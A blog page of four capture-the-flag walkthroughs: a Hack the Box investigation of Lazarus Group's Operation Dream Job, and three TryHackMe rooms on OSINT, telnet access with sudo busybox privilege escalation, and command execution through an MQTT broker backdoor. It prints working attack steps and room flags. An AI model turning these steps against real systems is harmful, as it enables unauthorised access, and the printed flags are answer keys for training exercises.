Author: Pete

Capture the Flag

Hack the Box Walkthrough: Dream Job-1

Hack the Box Dream Job Title ImageOur capture the flag walkthrough today is found over on Hack the Box (HTB). Instead of the offensive security walkthroughs that I’ve been doing, this one is more focused on defensive investigative skills. These classifications for these rooms at HTB are called “Sherlocks” and today’s room is a retired free one called Dream Job-1. It focuses on researching a specific attack campaign, the attackers, and their tactics. Let’s get started.

The first thing we have to do is download the attached zip file called DreamJob1.zip. They give you the password to extract it as hacktheblue. Inside the zip is one file named IOCs.txt containing 3 lines of text. For now, we won’t need this file until Question 10.

Task 1: Who Conducted Operation Dream Job?

So unlike TryHackMe, Hack the Box doesn’t really teach you how to do things. You either have to know how, have worked through some of their training elsewhere, have access to walkthroughs, or be good at searching. In this case, we’re going to go to the MITRE ATT&CK® homepage at https://attack.mitre.org/. Click on CTI then Campaigns.

MITRE ATT&CK® Campaigns Menu

Scroll down until you get to C0022 Operation Dream Job or Ctrl-F and search for Operation Dream Job on the page.

Operation Dream Job Overview

Task 1 Answer: Lazarus Group


Task 2: When was this operation first observed?

Click the name or ID of the campaign and it takes you here: https://attack.mitre.org/campaigns/C0022/. You can see in the Info Box on the right some quick info about this campaign, including when it was First Seen.

Operation Dream Job Info Box

Task 2 Answer: September 2019


Task 3: There are 2 campaigns associated with Operation Dream Job. One is Operation North Star, what is the other?

Using the same image, we can see the Associated Campaigns.

Task 3 Answer: Operation Interception


Task 4: During Operation Dream Job, there were the two system binaries used for proxy execution. One was Regsvr32, what was the other?

Scroll down or search for Binary Proxy Execution. You can see the two mentioned, the answer is the other one.
Operation Dream Job Binary Proxy Execution Tactic

Task 4 Answer: Rundll32


Task 5: What lateral movement technique did the adversary use?

On the page, near the top, you can click into the ATT&CK® Navigator Layers dropdown and View.
Operation Dream Job Navigator Layers Dropdown

After you get to the layers, horizontally scroll right until you see Lateral Movement. Click the header to have the column highlighted (can be a bit cramped and this helps to see).
Operation Dream Job Lateral Movement Technique

Task 5 Answer: Internal Spearphishing


Task 6: What is the technique ID for the previous answer?
Hover/Click on that highlighted part and read the kick out.

Task 6 Answer: T1534


Task 7: What Remote Access Trojan did the Lazarus Group use in Operation Dream Job?

Go back to the Operation Dream Job Campaign Page. Scroll down to Software.

Operation Dream Job Software

Task 7 Answer: DRATzarus


Task 8: What technique did the malware use for execution?

Click the Software Link for DRATzarus and go to https://attack.mitre.org/software/S0694/

Use the Navigator Layers dropdown like we did before and load up its Enterprise Layer and go to Execution. Native API is highlighted.
DRATzarus Execution Technique

Task 8 Answer: Native API


Task 9: What technique did the malware use to avoid detection in a sandbox?

On the same page, under Discovery, there is a box called Virtualization/Sandbox Evasion. Its child box has the answer.
DRATzarus Evasion Technique

Task 9 Answer: Time Based Evasion


Task 10: To answer the remaining questions, utilize VirusTotal and refer to the IOCs.txt file. What is the name associated with the first hash provided in the IOC file?

Looking in the file, the first hash is 7bb93be636b332d0a142ff11aedb5bf0ff56deabba3aa02520c85bd99258406f

If we go to VirusTotal and put in that hash, it takes us here

Searching the First Hash on VirusTotal

After you search, it takes you to the page and the answer is right in the header.

First Hash Executable

Task 10 Answer: IEXPLORE.EXE


Task 11: When was the file associated with the second hash in the IOC first created?

Second hash from the file is adce894e3ce69c9822da57196707c7a15acee11319ccc963b84d83c23c3ea802. If we search it, it takes us here.

Details -> History -> Creation Time

The creation time of the second hash executable

Task 11 Answer: 2020-05-12 19:26:17


Task 12: What is the name of the parent execution file associated with the second hash in the IOC?

Same page, Relations -> Execution Parents

The execution parent of the second hash executable

Task 12 Answer: BAE_HPC_SE.iso


Task 13: Examine the third hash provided. What is the file name likely used in the campaign that aligns with the adversary’s known tactics?

Third hash from the file is 0160375e19e606d06f672be6e43f70fa70093d2a30031affd2929a5c446d07c1. If we search it, it takes us here.

Go to Details -> Names

Remember that according to the task, the victims of this were job seekers and that they used “fake job lures”, so…

The file name of the third hash executable

Task 13 Answer: Salary_Lockheed_Martin_job_opportunities_confidential.doc


Task 14: Which URL was contacted on 2022-08-03 by the file associated with the third hash in the IOC file?

Relations -> Contacted URLs, look for Scanned = 2022-08-03

The contacted url of the third executable

Task 14 Answer: https://markettrendingcenter.com/lk_job_oppor.docx


That’s it. I hope you enjoyed this little Blue Team exercise in researching some details of an attack from some artifacts!

Capture the Flag

TryHackMe Room Walkthrough: OhSINT

What the starting image looks like for the roomToday’s room is called OhSINT. It is another Free Room on TryHackMe, which means that anyone can follow along with me as long as you sign up for a free account. The point of this room is to show you some of the very basics of OSINT (Open-Source Intelligence), which is the process of gathering and analyzing publicly available information to gain insights and intelligence on a subject or target.

Note: This room was updated 2/1/2024, so this walkthrough will probably be different from others if you’re Googling around and found someone who did it closer to release date. This is noted in the room itself.

In this one, we only have an image to go off of. Let’s start with the basics and read the metadata on the image.

$ exiftool WindowsXP_1551719014755.jpg
ExifTool Version Number         : 13.00
File Name                       : WindowsXP_1551719014755.jpg
Directory                       : .
File Size                       : 234 kB
File Modification Date/Time     : 2025:03:08 15:53:27-05:00
File Access Date/Time           : 2025:03:08 15:54:52-05:00
File Inode Change Date/Time     : 2025:03:08 15:54:52-05:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
XMP Toolkit                     : Image::ExifTool 11.27
GPS Latitude                    : 54 deg 17' 41.27" N
GPS Longitude                   : 2 deg 15' 1.33" W
Copyright                       : OWoodflint
Image Width                     : 1920
Image Height                    : 1080
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1920x1080
Megapixels                      : 2.1
GPS Latitude Ref                : North
GPS Longitude Ref               : West
GPS Position                    : 54 deg 17' 41.27" N, 2 deg 15' 1.33" W

Question 1

Searching for the user that has the copyright, “OWoodflint”, I found this Twitter/X profile here.

What is this user’s avatar of?Cat

Question 2

In this person’s tweets, they have one that says:

From my house I can get free wifi ;D

Bssid: B4:5D:50:AA:86:41 - Go nuts!

BSSID is “Basic Service Set Identifier” and is a unique ID to identify a wifi access point.

If I search bssid lookup, the first result is WiGLE: Wireless Network Mapping at https://wigle.net. Okay, let’s check that out. I put the BSSID in the search on the right of the page and hit Filter and my map didn’t change (except all of the dots that had been on there are now gone). My guess was maybe this left *ONLY* that network on the map, so I zoomed all the way out and saw a dot in Europe. I zoomed in and it is in London. This could be me not knowing how to use the site, but it worked.

What city is this person in?London

Question 3

Same site, just get the info of that point.

What is the SSID of the WAP he connected to?UnileverWiFi

Question 4

Back to googling the username. The first result for me was https://github.com/OWoodfl1nt/ I know people associate their emails on GitHub sometimes, so I went into there. In the readme of his people_finder project, it says “Project starting soon! Email me if you want to help out: OWoodflint@gmail.com”

What is his personal email address?OWoodflint@gmail.com

Question 5

What site did you find his email address on?GitHub

Question 6

I didn’t see anything about a holiday/vacation on X/Twitter or GitHub, so back to the google search. It also returns his blog at https://oliverwoodflint.wordpress.com/ His first – and apparently only – post has the answer.

Where has he gone on holiday?New York

Question 7

I actually found this one multiple places on the internet because of this challenge, but not the intended places. So I’m going to work this as intended. From google, basically I just have these three sites: X/Twitter, GitHub, and his blog. Since this is an OSINT challenge, I don’t expect they want us to try to crack his wordpress site. So, in true CTF-style thinking, I went looking for clues in his blog’s HTML source. I scrolled down and found this:

<p style="color:#ffffff;" class="has-text-color">pennYDr0pper.!</p>

Given the HTML, that would mean that it is actually on his site visible except that the text is the same color as the background. And sure enough:

An image showing that the password is actually on the blog post screen all along

What is the person’s password?pennYDr0pper.!

That’s it. Just a fun little very introductory primer on using search engines and social profiles to do some very basic OSINT and show you the beginning of what’s possible. Any questions, let me know.

Capture the Flag

TryHackMe Room Walkthrough: Bebop

An evil drone, representing the drone in this exerciseToday, we’re going work our way through another TryHackMe room called Bebop. This one isn’t in the Free Tier, but it is considered “Easy” and is a “Walkthrough Room” rather than a “Challenge Room”. Because of that, there will be some additional questions in addition to just posting User and Root flags. Getting started, the room description says, “Who thought making a flying shell was a good idea?”. For the first task, it reads, “For this mission, you have been assigned the codename ‘pilot’. Press the Start Machine button to make the drone takeoff!”.

Task 1

“Deploy the machine.”No answer needed
“What is your codename?”pilot

Task 2

With the machine started and enough time elapsed, I first ran an nmap scan to see what we were dealing with.

~# nmap -sCV -T4 10.10.194.21
Starting Nmap 7.80 ( https://nmap.org ) at 2025-03-05 16:25 GMT
Nmap scan report for 10.10.194.21
Host is up (0.0013s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.5 (FreeBSD 20170903; protocol 2.0)
| ssh-hostkey: 
|   2048 5b:e6:85:66:d8:dd:04:f0:71:7a:81:3c:58:ad:0b:b9 (RSA)
|   256 d5:4e:18:45:ba:d4:75:2d:55:2f:fe:c9:1c:db:ce:cb (ECDSA)
|_  256 96:fc:cc:3e:69:00:79:85:14:2a:e4:5f:0d:35:08:d4 (ED25519)
23/tcp open  telnet  BSD-derived telnetd
MAC Address: 02:D4:65:95:48:91 (Unknown)
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.44 seconds

So, ports 22 (SSH) and 23 (telnet) are open. SSH is rarely the initial way in without any other information, so let’s try telnet, remembering our username of pilot that they’ve already told us and then asked us about. Connecting, I was asked for a login and I typed pilot. This immediately got me to an interactive session. So, they meant Easy easy on this one.

root@ip-10-10-235-128:~# telnet 10.10.194.21
Trying 10.10.194.21...
Connected to 10.10.194.21.
Escape character is '^]'.
login: pilot
Last login: Sat Oct  5 23:48:53 from cpc147224-roth10-2-0-cust456.17-1.cable.virginm.net
FreeBSD 11.2-STABLE (GENERIC) #0 r345837: Thu Apr  4 02:07:22 UTC 2019

Welcome to FreeBSD!

Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories:   https://www.FreeBSD.org/security/
FreeBSD Handbook:      https://www.FreeBSD.org/handbook/
FreeBSD FAQ:           https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums:        https://forums.FreeBSD.org/

Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with:  pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.

Show the version of FreeBSD installed:  freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages:  man man
FreeBSD directory layout:      man hier

Edit /etc/motd to change this login announcement.
Want to strip UTF-8 BOM(Byte Order Mark) from given files?

	sed -e '1s/^\xef\xbb\xbf//' < bomfile > newfile
[pilot@freebsd ~]$ 

Doing an ls shows me that we can see the user.txt file in our directory and cat-ing it out gives us the first answer of Task 2.
Okay, so we’re already at a command prompt. No issues here.

[pilot@freebsd ~]$ ls
user.txt
[pilot@freebsd ~]$ cat user.txt
THM{r3m0v3_b3f0r3_fl16h7}

What is the User Flag?THM{r3m0v3_b3f0r3_fl16h7}

Moving on, we need to see what we can do to elevate our privileges to root to get the root flag. One of the first things I usually do is sudo -l to see what we can run as sudo. Since we didn’t use a password to log in, we didn’t know the password if there was one. Luckily, it didn’t ask us one to run this command.

[pilot@freebsd ~]$ sudo -l
User pilot may run the following commands on freebsd:
    (root) NOPASSWD: /usr/local/bin/busybox

Okay, so we can run the binary busybox with sudo as root with no password. Is that useful? This is where I check my favorite PrivEsc companion GTFOBins to see. You can find the entry for busybox here. Taking a small aside, busybox is a utility that you often find in embedded systems that contains its own implementations of things like ls, sh, mv, etc. In these systems, you can execute the commands by calling busybox {command}, or – quite often – the person who set up the system will symlink ls to just call busybox ls, like this: ln -s /bin/busybox /bin/ls, so you might not even know that busybox is involved. This would allow you to only have one binary instead of many, with an overall size savings.

In this case, that means if I call sudo busybox sh, I’ll get a shell opened as root, which is just what happened.

[pilot@freebsd ~]$ sudo busybox sh
# whoami
root

From there, we navigate to the root directory and cat out the file.

# cd /root
# ls
.bash_history	.history	.login		root.txt
.cshrc		.k5login	.profile
# cat root.txt
THM{h16hw4y_70_7h3_d4n63r_z0n3}

What is the Root Flag?THM{h16hw4y_70_7h3_d4n63r_z0n3}

Task 3

What is the low privilleged user?pilot
What binary was used to escalate privileges?busybox
What service was used to gain an initial shell?telnet

Last question, we already knew from what we saw in our nmap scan and also at the dump of information at our login prompt, but you can always check this way from within the system itself.

# uname -a
FreeBSD freebsd 11.2-STABLE FreeBSD 11.2-STABLE #0 r345837: Thu Apr  4 02:07:22 UTC 2019     root@releng2.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC  amd64

What Operating System does the drone run?FreeBSD

That’s it. The most basic of rooms, but a pretty good entry point into some basic recon and basic PrivEsc if you’re new to this.

Capture the Flag

TryHackMe Challenge Room Walkthrough: Bugged

An image of a robotic mosquito to represent Eclipse MosquittoIn this post, I want to take a look at a room over at TryHackMe called Bugged. This is a free room, which means that you don’t need a paid account to play along. So if you’d like to try it out, or just follow along with my walkthrough, it is available to everyone. I came into this room without any idea of what it is outside of an “Easy” challenge that has an estimated completion time of 30 Minutes. The description of the room reads:

John was working on his smart home appliances when he noticed weird traffic going across the network. Can you help him figure out what these weird network communications are?

That’s it. While I worked through the room, I kept my notes and I’m just writing up this blog post from my notes, so you’ll follow along with whatever I came across. That all being said, I fired up the box and went to work. For me, the IP Address was 10.10.99.76, so that’s what you’ll see in my scans and commands, but you should use whatever IP Address they give you for your box.

Once the box was active and I gave it enough time for services to start, I ran an nmap scan. I kept it very simple and just had -sCV as my only flags to run default scripts and enumerate versions of things. -sC is default scripts and -sV is to do versions, but you can also just combine them like I did into one argument. You can see, though, that nothing came back on the 1000 most common ports.

$ sudo nmap -sCV 10.10.99.76
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-06 16:34 EST
Nmap scan report for 10.10.99.76
Host is up (0.10s latency).
All 1000 scanned ports on 10.10.99.76 are in ignored states.
Not shown: 1000 closed tcp ports (reset)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.00 seconds

My next choice was whether to enumerate all TCP ports (-p-) or switch to UDP. I knew we were dealing with some kind of IoT (Internet of Things) situation, but it wasn’t clear what protocols they might be using. I opted for all TCP ports first. Because we’re doing 65535 ports, I also included -T4 to use a fast Timing Template.

$ sudo nmap -sCV -T4 -p- 10.10.99.76 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-06 16:41 EST
Nmap scan report for 10.10.99.76
Host is up (0.100s latency).
Not shown: 65534 closed tcp ports (reset)
PORT     STATE SERVICE                  VERSION
1883/tcp open  mosquitto version 2.0.14
| mqtt-subscribe: 
|   Topics and their most recent payloads: 
|     $SYS/broker/load/bytes/sent/1min: 362.33
|     frontdeck/camera: {"id":1437912445148180553,"yaxis":87.74393,"xaxis":-108.68722,"zoom":4.2217307,"movement":false}
|     $SYS/broker/uptime: 1265 seconds
|     $SYS/broker/load/bytes/sent/15min: 333.58
|     $SYS/broker/publish/bytes/received: 65577
|     $SYS/broker/load/messages/received/15min: 68.51
|     $SYS/broker/load/messages/received/1min: 90.42
|     patio/lights: {"id":14248824006532743469,"color":"PURPLE","status":"OFF"}
|     $SYS/broker/load/sockets/5min: 0.28
|     $SYS/broker/clients/active: 2
|     $SYS/broker/load/messages/received/5min: 89.30
|     $SYS/broker/bytes/sent: 10406
|     $SYS/broker/load/bytes/received/15min: 3275.98
|     $SYS/broker/load/bytes/received/1min: 4295.31
|     $SYS/broker/clients/disconnected: 0
|     $SYS/broker/load/messages/sent/5min: 90.74
|     livingroom/speaker: {"id":9214619165696293578,"gain":56}
|     $SYS/broker/store/messages/bytes: 282
|     $SYS/broker/version: mosquitto version 2.0.14
|     $SYS/broker/clients/connected: 2
|     $SYS/broker/messages/sent: 1977
|     $SYS/broker/load/bytes/sent/5min: 420.77
|     $SYS/broker/clients/inactive: 0
|     storage/thermostat: {"id":5120676131388820374,"temperature":23.588703}
|     $SYS/broker/messages/received: 1916
|     $SYS/broker/bytes/received: 91685
|     $SYS/broker/load/sockets/15min: 0.16
|     $SYS/broker/load/messages/sent/1min: 90.43
|     $SYS/broker/load/bytes/received/5min: 4266.77
|     $SYS/broker/load/sockets/1min: 0.91
|     $SYS/broker/load/publish/sent/15min: 1.35
|     $SYS/broker/load/publish/sent/5min: 1.44
|_    $SYS/broker/load/messages/sent/15min: 69.86

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 250.54 seconds

We can see now that TCP port 1883 is open. nmap is telling us that port 1883 is for MQTT and it mentions mosquitto version 2.0.14. I am familiar with those things only because of TryHackMe’s Advent of Cyber. I think they’ve had something with mosquitto the last 2 years. Other than that, I’d be clueless. If you do some research about port 1883, you find out that “This port is used for unencrypted MQTT connections. It is the most commonly used MQTT port and is the default port for most MQTT brokers. Using this port, MQTT clients can publish messages, subscribe to topics, and receive published messages.” (shout out EMQX for that summary)

So 1883 is for MQTT, which we kind of knew. What’s MQTT? “MQTT (Message Queuing Telemetry Transport) is a messaging protocol that allows devices to communicate with each other over unreliable networks. It’s a key part of the Internet of Things (IoT) and is used in many applications, including smart devices and industrial automation.” (from a different page at EMQX.com)

We also see from nmap that this is for mosquitto, which is an Open Source MQTT Broker. You can learn more about it here at its homepage. I already have it installed from the Advent of Cyber rooms, but if you want to install it, you can do so like this. This will get you what you will need to do most things.

$ sudo apt install mosquitto mosquitto-clients
mosquitto is already the newest version (2.0.20-1).
mosquitto-clients is already the newest version (2.0.20-1).
Summary:
  Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 2

Now that we have it, let’s explore. From the name, we know MQTT is a Message Queuing thing. So, we know we need to find out what kinds of messages are there. In this case, we’re curious about what topics we can get to. So we can use the mosquitto_sub command with the -h flag to provide the host, -t to provide the topics, and -v gives us verbose messaging. You can see that I used # for the topic. # is a wildcard. According to https://mosquitto.org/man/mqtt-7.html about the -t flag: Clients can receive messages by creating subscriptions. A subscription may be to an explicit topic, in which case only messages to that topic will be received, or it may include wildcards. Two wildcards are available, + or #.

$ mosquitto_sub -h 10.10.99.76 -t "#" -v
frontdeck/camera {"id":3316278497206393273,"yaxis":144.23682,"xaxis":-145.33704,"zoom":3.6814656,"movement":false}
storage/thermostat {"id":4447429892760772140,"temperature":23.896393}
livingroom/speaker {"id":8043902103709725435,"gain":50}
patio/lights {"id":6882341591718616343,"color":"BLUE","status":"ON"}
kitchen/toaster {"id":13944608183956243422,"in_use":true,"temperature":144.01237,"toast_time":197}
storage/thermostat {"id":14824713294408631232,"temperature":23.505255}
livingroom/speaker {"id":14097258738045186455,"gain":69}
patio/lights {"id":10945295088170915799,"color":"ORANGE","status":"ON"}
storage/thermostat {"id":1761967593096677692,"temperature":23.863026}
frontdeck/camera {"id":13659946362156472261,"yaxis":-155.89848,"xaxis":74.208435,"zoom":4.8601637,"movement":false}
kitchen/toaster {"id":54995940908488509,"in_use":false,"temperature":149.31566,"toast_time":162}
livingroom/speaker {"id":4787247383303923045,"gain":55}
storage/thermostat {"id":4101028798481015144,"temperature":24.009056}
patio/lights {"id":3871161962820974111,"color":"PURPLE","status":"OFF"}
livingroom/speaker {"id":17032533523555165243,"gain":60}
storage/thermostat {"id":7267103446169338555,"temperature":23.10556}
kitchen/toaster {"id":17519391021814147087,"in_use":false,"temperature":150.18582,"toast_time":330}
patio/lights {"id":62312332503512946,"color":"BLUE","status":"ON"}
frontdeck/camera {"id":15298122962505503081,"yaxis":-152.87685,"xaxis":103.75702,"zoom":1.4049865,"movement":false}
livingroom/speaker {"id":14524809808299595461,"gain":55}
storage/thermostat {"id":2132556209662210914,"temperature":23.478561}
kitchen/toaster {"id":15084763098398519150,"in_use":false,"temperature":147.05132,"toast_time":152}
patio/lights {"id":12157711019578367482,"color":"BLUE","status":"OFF"}
storage/thermostat {"id":15828996057674607786,"temperature":23.76949}
livingroom/speaker {"id":16187455369153881772,"gain":41}
yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==
storage/thermostat {"id":7669397520840774908,"temperature":24.374035}
frontdeck/camera {"id":3732476809053275501,"yaxis":-178.7423,"xaxis":-68.41884,"zoom":1.4278014,"movement":false}
kitchen/toaster {"id":11497578177789502283,"in_use":true,"temperature":147.58412,"toast_time":235}
patio/lights {"id":14209308141761888232,"color":"GREEN","status":"OFF"}
livingroom/speaker {"id":9228878491355405771,"gain":49}
storage/thermostat {"id":1897325864374850629,"temperature":24.048952}
livingroom/speaker {"id":10819232674171975266,"gain":57}
patio/lights {"id":8246779295936973173,"color":"ORANGE","status":"OFF"}
kitchen/toaster {"id":13861366123068819689,"in_use":false,"temperature":153.83165,"toast_time":286}
storage/thermostat {"id":18391360995922244987,"temperature":23.866116}
frontdeck/camera {"id":3098875847381960983,"yaxis":-77.119484,"xaxis":-100.20491,"zoom":0.33455136,"movement":false}
livingroom/speaker {"id":17130018290591971364,"gain":54}
^C 

This will just keep going, so after waiting and watching for a while, I just hit Ctrl-C to cancel it (that’s the ^C you see at the bottom of the output). Note that we just see repeating statuses from multiple devices. The Living Room speaker’s volume is at 50, 55, 60, 55, etc. The Thermostat is 23.9, 23.5, 23.9, etc. Then, as I’m watching this data come by with each device’s sensors reporting status and changes, this weird text shows up in the middle. What is it? First glance, it 100% looks like base64. We could decode it in CyberChef, but we can also do it at the terminal. Breaking down what we’re seeing, there seem to be some parts. First, we see yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config. Then eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==

The first thing is the topic. Note that in our response below, the pub_topic and sub_topic follow a similar convention of characters then / then characters then / then characters then / then /sub or /pub. This one just happens to be /config, which tells us what to do.

$ echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==" | base64 -d                                        
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","registered_commands":["HELP","CMD","SYS"],"pub_topic":"U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub","sub_topic":"XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub"}

Okay. So, this /config topic is telling us where they publish and where they subscribe. You have to think about this “backwards” because you don’t publish to the /pub topic, you subscribe to it. /pub is where they publish from and /sub is what they’re subscribed to. So if you want them to hear your message, you publish to where they subscribe. Hopefully, that makes sense.

Okay, so first, let’s subscribe to what they’re publishing. This will just “hang” because it is listening in real time and nothing is coming out yet. We just use the command mosquitto_sub with the host (-h) and the publisher topic (-t), pulled right from that message we decoded.

$ mosquitto_sub -h 10.10.99.76 -t "U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub"

Since we’re not getting anything, let’s publish something. I have to open a new terminal tab because I have to leave the subscriber listening. However, I have no idea what does what, so I use mosquitto_pub with -h for that host -t for the subscription topic from our decoded message and then -m for a message (in this case, “test”).

mosquitto_pub -h 10.10.99.76 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m "test"

This just executes with no return message. So I peeked back at my subscriber and a message appeared under our waiting command.

$ mosquitto_sub -h 10.10.99.76 -t "U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub"
SW52YWxpZCBtZXNzYWdlIGZvcm1hdC4KRm9ybWF0OiBiYXNlNjQoeyJpZCI6ICI8YmFja2Rvb3IgaWQ+IiwgImNtZCI6ICI8Y29tbWFuZD4iLCAiYXJnIjogIjxhcmd1bWVudD4ifSk=

We have another base64 message, so I decoded that at the terminal.

$ echo "SW52YWxpZCBtZXNzYWdlIGZvcm1hdC4KRm9ybWF0OiBiYXNlNjQoeyJpZCI6ICI8YmFja2Rvb3IgaWQ+IiwgImNtZCI6ICI8Y29tbWFuZD4iLCAiYXJnIjogIjxhcmd1bWVudD4ifSk=" | base64 -d
Invalid message format.
Format: base64({"id": "", "cmd": "", "arg": ""}) 

Okay. So, at least it is being helpful. I need to provide some base64 encoded JSON. We don’t know what to put for id (though the original message did have an id of “cdd1b1c0-1c40-4b0f-8e22-61b357548b7d”). We do know what to put for cmd. The original /config message said our options for available commands were HELP, CMD, and SYS. So, I’m going to craft a message with whatever id I want (with their original as a fallback), use the CMD command, and issue whoami as the arg for the command I want to run. So I crafted that and then published it.

$ echo '{"id": "hacktheplanet", "cmd": "CMD", "arg": "whoami"}' | base64
eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJDTUQiLCAiYXJnIjogIndob2FtaSJ9Cg==

$ mosquitto_pub -h 10.10.99.76 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m "eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJDTUQiLCAiYXJnIjogIndob2FtaSJ9Cg=="

Over in our subscriber tab, I got a message back, so I decoded it.

$ echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiY2hhbGxlbmdlXG4ifQ==" | base64 -d
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"challenge\n"} 

I don’t know if that means they didn’t like “hacktheplanet” as an id, if the user is “challenge”, or if that means something else that I can’t figure out at this time. Let’s just try another basic command and see what happens. How about ls?

$ echo '{"id": "hacktheplanet", "cmd": "CMD", "arg": "ls"}' | base64
eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJDTUQiLCAiYXJnIjogImxzIn0K

mosquitto_pub -h 10.10.99.76 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m "eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJDTUQiLCAiYXJnIjogImxzIn0K"

We got a response and we have a much better result this time when I decoded it:

$ echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiZmxhZy50eHRcbiJ9" | base64 -d    
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"flag.txt\n"}

Okay, so either id doesn’t matter, or they just like my style. Let’s see if we can issue another command to cat out the flag.txt file and close out the room.

$ echo '{"id": "hacktheplanet", "cmd": "CMD", "arg": "cat flag.txt"}' | base64
eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJDTUQiLCAiYXJnIjogImNhdCBmbGFnLnR4dCJ9Cg==

mosquitto_pub -h 10.10.99.76 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m "eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJDTUQiLCAiYXJnIjogImNhdCBmbGFnLnR4dCJ9Cg=="
$ echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiZmxhZ3sxOGQ0NGZjMDcwN2FjOGRjOGJlNDViYjgzZGI1NDAxM31cbiJ9" | base64 -d
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"flag{18d44fc0707ac8dc8be45bb83db54013}\n"}   

That’s it. You have the flag and you can close out the room. I am curious, though. What do the other commands do (HELP and SYS)? We didn’t need them, but we have the machine available, why not see?

HELP:

$ echo '{"id": "hacktheplanet", "cmd": "HELP", "arg": ""}' | base64
eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJIRUxQIiwgImFyZyI6ICIifQo=
$ mosquitto_pub -h 10.10.99.76 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m "eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJIRUxQIiwgImFyZyI6ICIifQo="              

